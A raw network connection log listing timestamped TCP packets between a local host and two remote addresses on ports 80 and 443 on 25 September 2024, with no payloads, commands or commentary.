Sep 25, 2024 18:50:06.888919115 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888889074 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.888958931 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.888958931 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.889024019 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.889030933 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.889048100 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.889064074 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.889079094 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.889090061 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.889095068 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.889111996 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.889113903 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.889127970 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.889146090 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.889147997 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.889157057 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.889192104 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.889445066 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.889683008 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.889739990 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.889944077 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.889944077 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.012940884 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.012979031 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.012996912 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013010979 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013027906 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013041973 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013067007 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013082981 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013092995 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013098955 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013113976 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013134003 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013134956 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013134956 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013149977 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013169050 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013175011 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013186932 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013190985 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013204098 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013209105 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013230085 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013257027 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013267994 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013283968 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013305902 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013313055 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013334036 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013382912 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013396978 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013412952 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013437033 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013453960 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013468981 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013514042 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013514042 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013514042 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013520002 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013560057 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013573885 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013576984 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013576984 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013608932 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013645887 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013660908 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013679981 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013689041 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013691902 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013709068 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013711929 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013725996 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013736010 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013742924 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013756037 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013762951 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013787985 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013881922 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013922930 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013926983 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013938904 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.013967991 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.013978958 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014007092 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014024019 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014039993 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014050007 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014055014 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014069080 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014070988 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014089108 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014102936 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014122963 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014192104 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014209032 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014225960 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014240026 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014256954 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014261961 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014278889 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014281034 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014296055 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014302969 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014321089 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014341116 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014400959 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014448881 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014453888 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014470100 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014498949 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014517069 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014524937 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014544010 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014559031 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014576912 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014588118 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014594078 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014602900 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014622927 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014637947 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014683008 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014698029 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014714003 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014725924 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014729023 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014741898 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014745951 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014760971 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014763117 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014775991 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014779091 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.014799118 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.014821053 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.015805006 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.018109083 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.018137932 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.018158913 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.018181086 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:07.018199921 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.018208981 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:07.018244028 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:11.609334946 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:11.609414101 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:12.351721048 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:12.351769924 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:12.351847887 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:12.361363888 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:12.361397028 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:12.564260006 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:12.956882000 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:12.956969023 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:12.961688995 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:12.961705923 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:12.962395906 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:12.978173018 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.023421049 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.242527008 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.242547989 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.242564917 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.242621899 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.242640972 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.242660999 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.242682934 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.263797045 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.263822079 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.263895035 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.263915062 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.263961077 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.309863091 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.309887886 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.309951067 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.309968948 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.309979916 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.310004950 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.349725962 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.349756956 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.349971056 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.349993944 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.350049019 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.350816965 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.350836039 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.350888968 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.350897074 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.350948095 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.352817059 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.352837086 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.352893114 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.352900028 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.352933884 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.416244984 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.416275024 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.416364908 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.416392088 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.416435003 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.436583996 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.436623096 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.436683893 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.436697960 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.436768055 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.437530041 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.437552929 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.437612057 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.437619925 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.437661886 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.438491106 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.438514948 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.438571930 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.438580990 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.438602924 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.438632965 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.439770937 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.439793110 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.439857006 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.439870119 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.439924002 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.440454006 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.440474033 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.440530062 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.440537930 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.440597057 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.462867022 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.462894917 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.462987900 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.463021040 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.463071108 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.502868891 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.502893925 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.502974987 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.502995968 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.503057957 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.503271103 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.503287077 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.503354073 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.503365040 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.503417969 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.523664951 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.523700953 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.523780107 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.523797035 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.523833036 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.524264097 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.524287939 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.524364948 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.524374008 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.524408102 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.524513006 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.524533987 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.524588108 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.524595976 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.524643898 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.525120974 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.525142908 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.525214911 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.525223970 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.525274992 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.577522993 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.577553988 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.577636003 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.577668905 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.577749014 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.577835083 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.577856064 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.577924013 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.577939987 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.577976942 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.578349113 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.578366995 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.578416109 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.578428030 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.578480959 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.590018988 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.590049028 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.590115070 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.590152025 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.590177059 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.590198994 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.610879898 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.610907078 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.610996008 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.611027956 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.611088991 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.611289978 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.611306906 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.611377001 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.611388922 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.611424923 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.611932039 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.611949921 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.612004995 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.612014055 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.612066031 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.614998102 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.615020037 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.615065098 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.615072012 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.615119934 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.664478064 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.664505005 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.664769888 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.664805889 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.664859056 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.664872885 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.664880037 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.664895058 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.664911032 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.664999962 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.665144920 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.665162086 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.665230989 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.665241957 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.665287018 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.677759886 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.677784920 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.677896023 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.677907944 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.677956104 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.698309898 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.698334932 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.698386908 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.698457956 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.698489904 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.698506117 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.699001074 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.699016094 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.699075937 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.699089050 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.699738026 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.699758053 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.699805975 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.699817896 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.699831963 CEST	49705	443	192.168.2.5	207.241.227.240
